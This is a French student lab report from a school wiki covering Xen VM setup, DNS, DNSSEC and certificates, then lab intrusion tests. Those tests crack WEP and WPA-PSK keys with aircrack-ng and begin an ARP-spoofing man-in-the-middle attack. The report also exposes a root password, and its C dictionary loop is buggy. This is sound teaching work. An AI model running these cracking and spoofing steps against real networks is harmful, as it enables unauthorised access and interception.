  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54470</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54470"/>
				<updated>2020-12-14T12:09:29Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
